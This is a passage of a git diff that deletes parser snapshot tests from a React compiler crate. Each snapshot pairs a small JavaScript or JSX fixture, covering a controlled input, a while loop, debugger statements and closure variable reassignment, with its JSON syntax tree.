-                      ]
-                    }
-                  ],
-                  "body": {
-                    "type": "BlockStatement",
-                    "body": [
-                      {
-                        "type": "ExpressionStatement",
-                        "expression": {
-                          "type": "CallExpression",
-                          "callee": {
-                            "type": "MemberExpression",
-                            "object": {
-                              "type": "Identifier",
-                              "name": "console",
-                              "typeAnnotation": null,
-                              "loc": null,
-                              "range": [
-                                86,
-                                93
-                              ]
-                            },
-                            "property": {
-                              "type": "Identifier",
-                              "name": "log",
-                              "typeAnnotation": null,
-                              "loc": null,
-                              "range": [
-                                94,
-                                97
-                              ]
-                            },
-                            "computed": false,
-                            "loc": null,
-                            "range": [
-                              86,
-                              97
-                            ]
-                          },
-                          "arguments": [
-                            {
-                              "type": "Identifier",
-                              "name": "x",
-                              "typeAnnotation": null,
-                              "loc": null,
-                              "range": [
-                                98,
-                                99
-                              ]
-                            }
-                          ],
-                          "loc": null,
-                          "range": [
-                            86,
-                            100
-                          ]
-                        },
-                        "directive": null,
-                        "loc": null,
-                        "range": [
-                          86,
-                          101
-                        ]
-                      }
-                    ],
-                    "loc": null,
-                    "range": [
-                      80,
-                      105
-                    ]
-                  },
-                  "generator": false,
-                  "async": false,
-                  "loc": null,
-                  "range": [
-                    73,
-                    105
-                  ],
-                  "expression": false,
-                  "loc": null,
-                  "range": [
-                    73,
-                    105
-                  ]
-                },
-                "loc": null,
-                "range": [
-                  62,
-                  105
-                ]
-              }
-            ],
-            "loc": null,
-            "range": [
-              56,
-              106
-            ]
-          },
-          {
-            "type": "ExpressionStatement",
-            "expression": {
-              "type": "AssignmentExpression",
-              "operator": "=",
-              "left": {
-                "type": "Identifier",
-                "name": "x",
-                "typeAnnotation": null,
-                "loc": null,
-                "range": [
-                  109,
-                  110
-                ]
-              },
-              "right": {
-                "type": "ObjectExpression",
-                "properties": [],
-                "loc": null,
-                "range": [
-                  113,
-                  115
-                ]
-              },
-              "loc": null,
-              "range": [
-                109,
-                115
-              ]
-            },
-            "directive": null,
-            "loc": null,
-            "range": [
-              109,
-              116
-            ]
-          },
-          {
-            "type": "ReturnStatement",
-            "argument": {
-              "type": "JSXElement",
-              "openingElement": {
-                "type": "JSXOpeningElement",
-                "name": {
-                  "type": "JSXIdentifier",
-                  "name": "Foo",
-                  "loc": null,
-                  "range": [
-                    127,
-                    130
-                  ]
-                },
-                "attributes": [
-                  {
-                    "type": "JSXAttribute",
-                    "name": {
-                      "type": "JSXIdentifier",
-                      "name": "onChange",
-                      "loc": null,
-                      "range": [
-                        131,
-                        139
-                      ]
-                    },
-                    "value": {
-                      "type": "JSXExpressionContainer",
-                      "expression": {
-                        "type": "Identifier",
-                        "name": "onChange",
-                        "typeAnnotation": null,
-                        "loc": null,
-                        "range": [
-                          141,
-                          149
-                        ]
-                      },
-                      "loc": null,
-                      "range": [
-                        140,
-                        150
-                      ]
-                    },
-                    "loc": null,
-                    "range": [
-                      131,
-                      150
-                    ]
-                  }
-                ],
-                "selfClosing": true,
-                "loc": null,
-                "range": [
-                  126,
-                  153
-                ]
-              },
-              "children": [],
-              "closingElement": null,
-              "loc": null,
-              "range": [
-                126,
-                153
-              ]
-            },
-            "loc": null,
-            "range": [
-              119,
-              154
-            ]
-          }
-        ],
-        "loc": null,
-        "range": [
-          36,
-          156
-        ]
-      },
-      "generator": false,
-      "async": false,
-      "loc": null,
-      "range": [
-        10,
-        156
-      ],
-      "loc": null,
-      "range": [
-        10,
-        156
-      ]
-    }
-  ],
-  "sourceType": "script",
-  "loc": null,
-  "range": [
-    10,
-    156
-  ]
-}
diff --git a/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@controlled-input.js.snap b/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@controlled-input.js.snap
deleted file mode 100644
index b9a977d07011..000000000000
--- a/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@controlled-input.js.snap
+++ /dev/null
@@ -1,373 +0,0 @@
----
-source: crates/react_hermes_parser/tests/parser_test.rs
-expression: "format!(\"Input:\\n{input}\\n\\nOutput:\\n{output}\")"
-input_file: crates/react_hermes_parser/tests/fixtures/controlled-input.js
----
-Input:
-function component() {
-  let [x, setX] = useState(0);
-  const handler = (event) => setX(event.target.value);
-  return <input onChange={handler} value={x} />;
-}
-
-
-Output:
-{
-  "type": "Program",
-  "body": [
-    {
-      "type": "FunctionDeclaration",
-      "id": {
-        "type": "Identifier",
-        "name": "component",
-        "typeAnnotation": null,
-        "loc": null,
-        "range": [
-          9,
-          18
-        ]
-      },
-      "params": [],
-      "body": {
-        "type": "BlockStatement",
-        "body": [
-          {
-            "type": "VariableDeclaration",
-            "kind": "let",
-            "declarations": [
-              {
-                "type": "VariableDeclarator",
-                "id": {
-                  "type": "ArrayPattern",
-                  "elements": [
-                    {
-                      "type": "Identifier",
-                      "name": "x",
-                      "typeAnnotation": null,
-                      "loc": null,
-                      "range": [
-                        30,
-                        31
-                      ]
-                    },
-                    {
-                      "type": "Identifier",
-                      "name": "setX",
-                      "typeAnnotation": null,
-                      "loc": null,
-                      "range": [
-                        33,
-                        37
-                      ]
-                    }
-                  ],
-                  "loc": null,
-                  "range": [
-                    29,
-                    38
-                  ]
-                },
-                "init": {
-                  "type": "CallExpression",
-                  "callee": {
-                    "type": "Identifier",
-                    "name": "useState",
-                    "typeAnnotation": null,
-                    "loc": null,
-                    "range": [
-                      41,
-                      49
-                    ]
-                  },
-                  "arguments": [
-                    {
-                      "type": "NumericLiteral",
-                      "value": 0.0,
-                      "loc": null,
-                      "range": [
-                        50,
-                        51
-                      ]
-                    }
-                  ],
-                  "loc": null,
-                  "range": [
-                    41,
-                    52
-                  ]
-                },
-                "loc": null,
-                "range": [
-                  29,
-                  52
-                ]
-              }
-            ],
-            "loc": null,
-            "range": [
-              25,
-              53
-            ]
-          },
-          {
-            "type": "VariableDeclaration",
-            "kind": "const",
-            "declarations": [
-              {
-                "type": "VariableDeclarator",
-                "id": {
-                  "type": "Identifier",
-                  "name": "handler",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    62,
-                    69
-                  ]
-                },
-                "init": {
-                  "type": "ArrowFunctionExpression",
-                  "id": null,
-                  "params": [
-                    {
-                      "type": "Identifier",
-                      "name": "event",
-                      "typeAnnotation": null,
-                      "loc": null,
-                      "range": [
-                        73,
-                        78
-                      ]
-                    }
-                  ],
-                  "body": {
-                    "type": "CallExpression",
-                    "callee": {
-                      "type": "Identifier",
-                      "name": "setX",
-                      "typeAnnotation": null,
-                      "loc": null,
-                      "range": [
-                        83,
-                        87
-                      ]
-                    },
-                    "arguments": [
-                      {
-                        "type": "MemberExpression",
-                        "object": {
-                          "type": "MemberExpression",
-                          "object": {
-                            "type": "Identifier",
-                            "name": "event",
-                            "typeAnnotation": null,
-                            "loc": null,
-                            "range": [
-                              88,
-                              93
-                            ]
-                          },
-                          "property": {
-                            "type": "Identifier",
-                            "name": "target",
-                            "typeAnnotation": null,
-                            "loc": null,
-                            "range": [
-                              94,
-                              100
-                            ]
-                          },
-                          "computed": false,
-                          "loc": null,
-                          "range": [
-                            88,
-                            100
-                          ]
-                        },
-                        "property": {
-                          "type": "Identifier",
-                          "name": "value",
-                          "typeAnnotation": null,
-                          "loc": null,
-                          "range": [
-                            101,
-                            106
-                          ]
-                        },
-                        "computed": false,
-                        "loc": null,
-                        "range": [
-                          88,
-                          106
-                        ]
-                      }
-                    ],
-                    "loc": null,
-                    "range": [
-                      83,
-                      107
-                    ]
-                  },
-                  "generator": true,
-                  "async": false,
-                  "loc": null,
-                  "range": [
-                    72,
-                    107
-                  ],
-                  "expression": true,
-                  "loc": null,
-                  "range": [
-                    72,
-                    107
-                  ]
-                },
-                "loc": null,
-                "range": [
-                  62,
-                  107
-                ]
-              }
-            ],
-            "loc": null,
-            "range": [
-              56,
-              108
-            ]
-          },
-          {
-            "type": "ReturnStatement",
-            "argument": {
-              "type": "JSXElement",
-              "openingElement": {
-                "type": "JSXOpeningElement",
-                "name": {
-                  "type": "JSXIdentifier",
-                  "name": "input",
-                  "loc": null,
-                  "range": [
-                    119,
-                    124
-                  ]
-                },
-                "attributes": [
-                  {
-                    "type": "JSXAttribute",
-                    "name": {
-                      "type": "JSXIdentifier",
-                      "name": "onChange",
-                      "loc": null,
-                      "range": [
-                        125,
-                        133
-                      ]
-                    },
-                    "value": {
-                      "type": "JSXExpressionContainer",
-                      "expression": {
-                        "type": "Identifier",
-                        "name": "handler",
-                        "typeAnnotation": null,
-                        "loc": null,
-                        "range": [
-                          135,
-                          142
-                        ]
-                      },
-                      "loc": null,
-                      "range": [
-                        134,
-                        143
-                      ]
-                    },
-                    "loc": null,
-                    "range": [
-                      125,
-                      143
-                    ]
-                  },
-                  {
-                    "type": "JSXAttribute",
-                    "name": {
-                      "type": "JSXIdentifier",
-                      "name": "value",
-                      "loc": null,
-                      "range": [
-                        144,
-                        149
-                      ]
-                    },
-                    "value": {
-                      "type": "JSXExpressionContainer",
-                      "expression": {
-                        "type": "Identifier",
-                        "name": "x",
-                        "typeAnnotation": null,
-                        "loc": null,
-                        "range": [
-                          151,
-                          152
-                        ]
-                      },
-                      "loc": null,
-                      "range": [
-                        150,
-                        153
-                      ]
-                    },
-                    "loc": null,
-                    "range": [
-                      144,
-                      153
-                    ]
-                  }
-                ],
-                "selfClosing": true,
-                "loc": null,
-                "range": [
-                  118,
-                  156
-                ]
-              },
-              "children": [],
-              "closingElement": null,
-              "loc": null,
-              "range": [
-                118,
-                156
-              ]
-            },
-            "loc": null,
-            "range": [
-              111,
-              157
-            ]
-          }
-        ],
-        "loc": null,
-        "range": [
-          21,
-          159
-        ]
-      },
-      "generator": false,
-      "async": false,
-      "loc": null,
-      "range": [
-        0,
-        159
-      ],
-      "loc": null,
-      "range": [
-        0,
-        159
-      ]
-    }
-  ],
-  "sourceType": "script",
-  "loc": null,
-  "range": [
-    0,
-    159
-  ]
-}
diff --git a/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@dce-loop.js.snap b/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@dce-loop.js.snap
deleted file mode 100644
index 66efe1546940..000000000000
--- a/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@dce-loop.js.snap
+++ /dev/null
@@ -1,294 +0,0 @@
----
-source: crates/react_hermes_parser/tests/parser_test.rs
-expression: "format!(\"Input:\\n{input}\\n\\nOutput:\\n{output}\")"
-input_file: crates/react_hermes_parser/tests/fixtures/dce-loop.js
----
-Input:
-function foo(props) {
-  let x = 0;
-  let y = 0;
-  while (y < props.max) {
-    x++;
-    y++;
-  }
-  return y;
-}
-
-
-Output:
-{
-  "type": "Program",
-  "body": [
-    {
-      "type": "FunctionDeclaration",
-      "id": {
-        "type": "Identifier",
-        "name": "foo",
-        "typeAnnotation": null,
-        "loc": null,
-        "range": [
-          9,
-          12
-        ]
-      },
-      "params": [
-        {
-          "type": "Identifier",
-          "name": "props",
-          "typeAnnotation": null,
-          "loc": null,
-          "range": [
-            13,
-            18
-          ]
-        }
-      ],
-      "body": {
-        "type": "BlockStatement",
-        "body": [
-          {
-            "type": "VariableDeclaration",
-            "kind": "let",
-            "declarations": [
-              {
-                "type": "VariableDeclarator",
-                "id": {
-                  "type": "Identifier",
-                  "name": "x",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    28,
-                    29
-                  ]
-                },
-                "init": {
-                  "type": "NumericLiteral",
-                  "value": 0.0,
-                  "loc": null,
-                  "range": [
-                    32,
-                    33
-                  ]
-                },
-                "loc": null,
-                "range": [
-                  28,
-                  33
-                ]
-              }
-            ],
-            "loc": null,
-            "range": [
-              24,
-              34
-            ]
-          },
-          {
-            "type": "VariableDeclaration",
-            "kind": "let",
-            "declarations": [
-              {
-                "type": "VariableDeclarator",
-                "id": {
-                  "type": "Identifier",
-                  "name": "y",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    41,
-                    42
-                  ]
-                },
-                "init": {
-                  "type": "NumericLiteral",
-                  "value": 0.0,
-                  "loc": null,
-                  "range": [
-                    45,
-                    46
-                  ]
-                },
-                "loc": null,
-                "range": [
-                  41,
-                  46
-                ]
-              }
-            ],
-            "loc": null,
-            "range": [
-              37,
-              47
-            ]
-          },
-          {
-            "type": "WhileStatement",
-            "test": {
-              "type": "BinaryExpression",
-              "left": {
-                "type": "Identifier",
-                "name": "y",
-                "typeAnnotation": null,
-                "loc": null,
-                "range": [
-                  57,
-                  58
-                ]
-              },
-              "operator": "<",
-              "right": {
-                "type": "MemberExpression",
-                "object": {
-                  "type": "Identifier",
-                  "name": "props",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    61,
-                    66
-                  ]
-                },
-                "property": {
-                  "type": "Identifier",
-                  "name": "max",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    67,
-                    70
-                  ]
-                },
-                "computed": false,
-                "loc": null,
-                "range": [
-                  61,
-                  70
-                ]
-              },
-              "loc": null,
-              "range": [
-                57,
-                70
-              ]
-            },
-            "body": {
-              "type": "BlockStatement",
-              "body": [
-                {
-                  "type": "ExpressionStatement",
-                  "expression": {
-                    "type": "UpdateExpression",
-                    "operator": "++",
-                    "argument": {
-                      "type": "Identifier",
-                      "name": "x",
-                      "typeAnnotation": null,
-                      "loc": null,
-                      "range": [
-                        78,
-                        79
-                      ]
-                    },
-                    "prefix": false,
-                    "loc": null,
-                    "range": [
-                      78,
-                      81
-                    ]
-                  },
-                  "directive": null,
-                  "loc": null,
-                  "range": [
-                    78,
-                    82
-                  ]
-                },
-                {
-                  "type": "ExpressionStatement",
-                  "expression": {
-                    "type": "UpdateExpression",
-                    "operator": "++",
-                    "argument": {
-                      "type": "Identifier",
-                      "name": "y",
-                      "typeAnnotation": null,
-                      "loc": null,
-                      "range": [
-                        87,
-                        88
-                      ]
-                    },
-                    "prefix": false,
-                    "loc": null,
-                    "range": [
-                      87,
-                      90
-                    ]
-                  },
-                  "directive": null,
-                  "loc": null,
-                  "range": [
-                    87,
-                    91
-                  ]
-                }
-              ],
-              "loc": null,
-              "range": [
-                72,
-                95
-              ]
-            },
-            "loc": null,
-            "range": [
-              50,
-              95
-            ]
-          },
-          {
-            "type": "ReturnStatement",
-            "argument": {
-              "type": "Identifier",
-              "name": "y",
-              "typeAnnotation": null,
-              "loc": null,
-              "range": [
-                105,
-                106
-              ]
-            },
-            "loc": null,
-            "range": [
-              98,
-              107
-            ]
-          }
-        ],
-        "loc": null,
-        "range": [
-          20,
-          109
-        ]
-      },
-      "generator": false,
-      "async": false,
-      "loc": null,
-      "range": [
-        0,
-        109
-      ],
-      "loc": null,
-      "range": [
-        0,
-        109
-      ]
-    }
-  ],
-  "sourceType": "script",
-  "loc": null,
-  "range": [
-    0,
-    109
-  ]
-}
diff --git a/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@debugger-memoized.js.snap b/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@debugger-memoized.js.snap
deleted file mode 100644
index efed96fe7fab..000000000000
--- a/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@debugger-memoized.js.snap
+++ /dev/null
@@ -1,214 +0,0 @@
----
-source: crates/react_hermes_parser/tests/parser_test.rs
-expression: "format!(\"Input:\\n{input}\\n\\nOutput:\\n{output}\")"
-input_file: crates/react_hermes_parser/tests/fixtures/debugger-memoized.js
----
-Input:
-function Component(props) {
-  const x = [];
-  debugger;
-  x.push(props.value);
-  return x;
-}
-
-
-Output:
-{
-  "type": "Program",
-  "body": [
-    {
-      "type": "FunctionDeclaration",
-      "id": {
-        "type": "Identifier",
-        "name": "Component",
-        "typeAnnotation": null,
-        "loc": null,
-        "range": [
-          9,
-          18
-        ]
-      },
-      "params": [
-        {
-          "type": "Identifier",
-          "name": "props",
-          "typeAnnotation": null,
-          "loc": null,
-          "range": [
-            19,
-            24
-          ]
-        }
-      ],
-      "body": {
-        "type": "BlockStatement",
-        "body": [
-          {
-            "type": "VariableDeclaration",
-            "kind": "const",
-            "declarations": [
-              {
-                "type": "VariableDeclarator",
-                "id": {
-                  "type": "Identifier",
-                  "name": "x",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    36,
-                    37
-                  ]
-                },
-                "init": {
-                  "type": "ArrayExpression",
-                  "elements": [],
-                  "loc": null,
-                  "range": [
-                    40,
-                    42
-                  ]
-                },
-                "loc": null,
-                "range": [
-                  36,
-                  42
-                ]
-              }
-            ],
-            "loc": null,
-            "range": [
-              30,
-              43
-            ]
-          },
-          {
-            "type": "DebuggerStatement",
-            "loc": null,
-            "range": [
-              46,
-              55
-            ]
-          },
-          {
-            "type": "ExpressionStatement",
-            "expression": {
-              "type": "CallExpression",
-              "callee": {
-                "type": "MemberExpression",
-                "object": {
-                  "type": "Identifier",
-                  "name": "x",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    58,
-                    59
-                  ]
-                },
-                "property": {
-                  "type": "Identifier",
-                  "name": "push",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    60,
-                    64
-                  ]
-                },
-                "computed": false,
-                "loc": null,
-                "range": [
-                  58,
-                  64
-                ]
-              },
-              "arguments": [
-                {
-                  "type": "MemberExpression",
-                  "object": {
-                    "type": "Identifier",
-                    "name": "props",
-                    "typeAnnotation": null,
-                    "loc": null,
-                    "range": [
-                      65,
-                      70
-                    ]
-                  },
-                  "property": {
-                    "type": "Identifier",
-                    "name": "value",
-                    "typeAnnotation": null,
-                    "loc": null,
-                    "range": [
-                      71,
-                      76
-                    ]
-                  },
-                  "computed": false,
-                  "loc": null,
-                  "range": [
-                    65,
-                    76
-                  ]
-                }
-              ],
-              "loc": null,
-              "range": [
-                58,
-                77
-              ]
-            },
-            "directive": null,
-            "loc": null,
-            "range": [
-              58,
-              78
-            ]
-          },
-          {
-            "type": "ReturnStatement",
-            "argument": {
-              "type": "Identifier",
-              "name": "x",
-              "typeAnnotation": null,
-              "loc": null,
-              "range": [
-                88,
-                89
-              ]
-            },
-            "loc": null,
-            "range": [
-              81,
-              90
-            ]
-          }
-        ],
-        "loc": null,
-        "range": [
-          26,
-          92
-        ]
-      },
-      "generator": false,
-      "async": false,
-      "loc": null,
-      "range": [
-        0,
-        92
-      ],
-      "loc": null,
-      "range": [
-        0,
-        92
-      ]
-    }
-  ],
-  "sourceType": "script",
-  "loc": null,
-  "range": [
-    0,
-    92
-  ]
-}
diff --git a/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@debugger.js.snap b/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@debugger.js.snap
deleted file mode 100644
index 06520f5432a7..000000000000
--- a/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@debugger.js.snap
+++ /dev/null
@@ -1,214 +0,0 @@
----
-source: crates/react_hermes_parser/tests/parser_test.rs
-expression: "format!(\"Input:\\n{input}\\n\\nOutput:\\n{output}\")"
-input_file: crates/react_hermes_parser/tests/fixtures/debugger.js
----
-Input:
-function Component(props) {
-  debugger;
-  if (props.cond) {
-    debugger;
-  } else {
-    while (props.cond) {
-      debugger;
-    }
-  }
-  debugger;
-}
-
-
-Output:
-{
-  "type": "Program",
-  "body": [
-    {
-      "type": "FunctionDeclaration",
-      "id": {
-        "type": "Identifier",
-        "name": "Component",
-        "typeAnnotation": null,
-        "loc": null,
-        "range": [
-          9,
-          18
-        ]
-      },
-      "params": [
-        {
-          "type": "Identifier",
-          "name": "props",
-          "typeAnnotation": null,
-          "loc": null,
-          "range": [
-            19,
-            24
-          ]
-        }
-      ],
-      "body": {
-        "type": "BlockStatement",
-        "body": [
-          {
-            "type": "DebuggerStatement",
-            "loc": null,
-            "range": [
-              30,
-              39
-            ]
-          },
-          {
-            "type": "IfStatement",
-            "test": {
-              "type": "MemberExpression",
-              "object": {
-                "type": "Identifier",
-                "name": "props",
-                "typeAnnotation": null,
-                "loc": null,
-                "range": [
-                  46,
-                  51
-                ]
-              },
-              "property": {
-                "type": "Identifier",
-                "name": "cond",
-                "typeAnnotation": null,
-                "loc": null,
-                "range": [
-                  52,
-                  56
-                ]
-              },
-              "computed": false,
-              "loc": null,
-              "range": [
-                46,
-                56
-              ]
-            },
-            "consequent": {
-              "type": "BlockStatement",
-              "body": [
-                {
-                  "type": "DebuggerStatement",
-                  "loc": null,
-                  "range": [
-                    64,
-                    73
-                  ]
-                }
-              ],
-              "loc": null,
-              "range": [
-                58,
-                77
-              ]
-            },
-            "alternate": {
-              "type": "BlockStatement",
-              "body": [
-                {
-                  "type": "WhileStatement",
-                  "test": {
-                    "type": "MemberExpression",
-                    "object": {
-                      "type": "Identifier",
-                      "name": "props",
-                      "typeAnnotation": null,
-                      "loc": null,
-                      "range": [
-                        96,
-                        101
-                      ]
-                    },
-                    "property": {
-                      "type": "Identifier",
-                      "name": "cond",
-                      "typeAnnotation": null,
-                      "loc": null,
-                      "range": [
-                        102,
-                        106
-                      ]
-                    },
-                    "computed": false,
-                    "loc": null,
-                    "range": [
-                      96,
-                      106
-                    ]
-                  },
-                  "body": {
-                    "type": "BlockStatement",
-                    "body": [
-                      {
-                        "type": "DebuggerStatement",
-                        "loc": null,
-                        "range": [
-                          116,
-                          125
-                        ]
-                      }
-                    ],
-                    "loc": null,
-                    "range": [
-                      108,
-                      131
-                    ]
-                  },
-                  "loc": null,
-                  "range": [
-                    89,
-                    131
-                  ]
-                }
-              ],
-              "loc": null,
-              "range": [
-                83,
-                135
-              ]
-            },
-            "loc": null,
-            "range": [
-              42,
-              135
-            ]
-          },
-          {
-            "type": "DebuggerStatement",
-            "loc": null,
-            "range": [
-              138,
-              147
-            ]
-          }
-        ],
-        "loc": null,
-        "range": [
-          26,
-          149
-        ]
-      },
-      "generator": false,
-      "async": false,
-      "loc": null,
-      "range": [
-        0,
-        149
-      ],
-      "loc": null,
-      "range": [
-        0,
-        149
-      ]
-    }
-  ],
-  "sourceType": "script",
-  "loc": null,
-  "range": [
-    0,
-    149
-  ]
-}
diff --git a/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@declare-reassign-variable-in-closure.js.snap b/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@declare-reassign-variable-in-closure.js.snap
deleted file mode 100644
index 1ac46d902f77..000000000000
--- a/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@declare-reassign-variable-in-closure.js.snap
+++ /dev/null
@@ -1,246 +0,0 @@
----
-source: crates/react_hermes_parser/tests/parser_test.rs
-expression: "format!(\"Input:\\n{input}\\n\\nOutput:\\n{output}\")"
-input_file: crates/react_hermes_parser/tests/fixtures/declare-reassign-variable-in-closure.js
----
-Input:
-function Component(p) {
-  let x;
-  const foo = () => {
-    x = {};
-  };
-  foo();
-
-  return x;
-}
-
-
-Output:
-{
-  "type": "Program",
-  "body": [
-    {
-      "type": "FunctionDeclaration",
-      "id": {
-        "type": "Identifier",
-        "name": "Component",
-        "typeAnnotation": null,
-        "loc": null,
-        "range": [
-          9,
-          18
-        ]
-      },
-      "params": [
-        {
-          "type": "Identifier",
-          "name": "p",
-          "typeAnnotation": null,
-          "loc": null,
-          "range": [
-            19,
-            20
-          ]
-        }
-      ],
-      "body": {
-        "type": "BlockStatement",
-        "body": [
-          {
-            "type": "VariableDeclaration",
-            "kind": "let",
-            "declarations": [
-              {
-                "type": "VariableDeclarator",
-                "id": {
-                  "type": "Identifier",
-                  "name": "x",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    30,
-                    31
-                  ]
-                },
-                "init": null,
-                "loc": null,
-                "range": [
-                  30,
-                  31
-                ]
-              }
-            ],
-            "loc": null,
-            "range": [
-              26,
-              32
-            ]
-          },
-          {
-            "type": "VariableDeclaration",
-            "kind": "const",
-            "declarations": [
-              {
-                "type": "VariableDeclarator",
-                "id": {
-                  "type": "Identifier",
-                  "name": "foo",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    41,
-                    44
-                  ]
-                },
-                "init": {
-                  "type": "ArrowFunctionExpression",
-                  "id": null,
-                  "params": [],
-                  "body": {
-                    "type": "BlockStatement",
-                    "body": [
-                      {
-                        "type": "ExpressionStatement",
-                        "expression": {
-                          "type": "AssignmentExpression",
-                          "operator": "=",
-                          "left": {
-                            "type": "Identifier",
-                            "name": "x",
-                            "typeAnnotation": null,
-                            "loc": null,
-                            "range": [
-                              59,
-                              60
-                            ]
-                          },
-                          "right": {
-                            "type": "ObjectExpression",
-                            "properties": [],
-                            "loc": null,
-                            "range": [
-                              63,
-                              65
-                            ]
-                          },
-                          "loc": null,
-                          "range": [
-                            59,
-                            65
-                          ]
-                        },
-                        "directive": null,
-                        "loc": null,
-                        "range": [
-                          59,
-                          66
-                        ]
-                      }
-                    ],
-                    "loc": null,
-                    "range": [
-                      53,
-                      70
-                    ]
-                  },
-                  "generator": false,
-                  "async": false,
-                  "loc": null,
-                  "range": [
-                    47,
-                    70
-                  ],
-                  "expression": false,
-                  "loc": null,
-                  "range": [
-                    47,
-                    70
-                  ]
-                },
-                "loc": null,
-                "range": [
-                  41,
-                  70
-                ]
-              }
-            ],
-            "loc": null,
-            "range": [
-              35,
-              71
-            ]
-          },
-          {
-            "type": "ExpressionStatement",
-            "expression": {
-              "type": "CallExpression",
-              "callee": {
-                "type": "Identifier",
-                "name": "foo",
-                "typeAnnotation": null,
-                "loc": null,
-                "range": [
-                  74,
-                  77
-                ]
-              },
-              "arguments": [],
-              "loc": null,
-              "range": [
-                74,
-                79
-              ]
-            },
-            "directive": null,
-            "loc": null,
-            "range": [
-              74,
-              80
-            ]
-          },
-          {
-            "type": "ReturnStatement",
-            "argument": {
-              "type": "Identifier",
-              "name": "x",
-              "typeAnnotation": null,
-              "loc": null,
-              "range": [
-                91,
-                92
-              ]
-            },
-            "loc": null,
-            "range": [
-              84,
-              93
-            ]
-          }
-        ],
-        "loc": null,
-        "range": [
-          22,
-          95
-        ]
-      },
-      "generator": false,
-      "async": false,
-      "loc": null,
-      "range": [
-        0,
-        95
-      ],
-      "loc": null,
-      "range": [
-        0,
-        95
-      ]
-    }
-  ],
-  "sourceType": "script",
-  "loc": null,
-  "range": [
-    0,
-    95
-  ]
-}
diff --git a/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@declare-reassign-variable-in-function-declaration.js.snap b/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@declare-reassign-variable-in-function-declaration.js.snap
deleted file mode 100644
index f8faf4b0e332..000000000000
--- a/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@declare-reassign-variable-in-function-declaration.js.snap
+++ /dev/null
@@ -1,306 +0,0 @@
----
-source: crates/react_hermes_parser/tests/parser_test.rs
-expression: "format!(\"Input:\\n{input}\\n\\nOutput:\\n{output}\")"
-input_file: crates/react_hermes_parser/tests/fixtures/declare-reassign-variable-in-function-declaration.js
----
-Input:
-function Component() {
-  let x = null;
-  function foo() {
-    x = 9;
-  }
-  const y = bar(foo);
-  return <Child y={y} />;
-}
-
-
-Output:
-{
-  "type": "Program",
-  "body": [
-    {
-      "type": "FunctionDeclaration",
-      "id": {
-        "type": "Identifier",
-        "name": "Component",
-        "typeAnnotation": null,
-        "loc": null,
-        "range": [
-          9,
-          18
-        ]
-      },
-      "params": [],
-      "body": {
-        "type": "BlockStatement",
-        "body": [
-          {
-            "type": "VariableDeclaration",
-            "kind": "let",
-            "declarations": [
-              {
-                "type": "VariableDeclarator",
-                "id": {
-                  "type": "Identifier",
-                  "name": "x",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    29,
-                    30
-                  ]
-                },
-                "init": {
-                  "type": "NullLiteral",
-                  "loc": null,
-                  "range": [
-                    33,
-                    37
-                  ]
-                },
-                "loc": null,
-                "range": [
-                  29,
-                  37
-                ]
-              }
-            ],
-            "loc": null,
-            "range": [
-              25,
-              38
-            ]
-          },
-          {
-            "type": "FunctionDeclaration",
-            "id": {
-              "type": "Identifier",
-              "name": "foo",
-              "typeAnnotation": null,
-              "loc": null,
-              "range": [
-                50,
-                53
-              ]
-            },
-            "params": [],
-            "body": {
-              "type": "BlockStatement",
-              "body": [
-                {
-                  "type": "ExpressionStatement",
-                  "expression": {
-                    "type": "AssignmentExpression",
-                    "operator": "=",
-                    "left": {
-                      "type": "Identifier",
-                      "name": "x",
-                      "typeAnnotation": null,
-                      "loc": null,
-                      "range": [
-                        62,
-                        63
-                      ]
-                    },
-                    "right": {
-                      "type": "NumericLiteral",
-                      "value": 9.0,
-                      "loc": null,
-                      "range": [
-                        66,
-                        67
-                      ]
-                    },
-                    "loc": null,
-                    "range": [
-                      62,
-                      67
-                    ]
-                  },
-                  "directive": null,
-                  "loc": null,
-                  "range": [
-                    62,
-                    68
-                  ]
-                }
-              ],
-              "loc": null,
-              "range": [
-                56,
-                72
-              ]
-            },
-            "generator": false,
-            "async": false,
-            "loc": null,
-            "range": [
-              41,
-              72
-            ],
-            "loc": null,
-            "range": [
-              41,
-              72
-            ]
-          },
-          {
-            "type": "VariableDeclaration",
-            "kind": "const",
-            "declarations": [
-              {
-                "type": "VariableDeclarator",
-                "id": {
-                  "type": "Identifier",
-                  "name": "y",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    81,
-                    82
-                  ]
-                },
-                "init": {
-                  "type": "CallExpression",
-                  "callee": {
-                    "type": "Identifier",
-                    "name": "bar",
-                    "typeAnnotation": null,
-                    "loc": null,
-                    "range": [
-                      85,
-                      88
-                    ]
-                  },
-                  "arguments": [
-                    {
-                      "type": "Identifier",
-                      "name": "foo",
-                      "typeAnnotation": null,
-                      "loc": null,
-                      "range": [
-                        89,
-                        92
-                      ]
-                    }
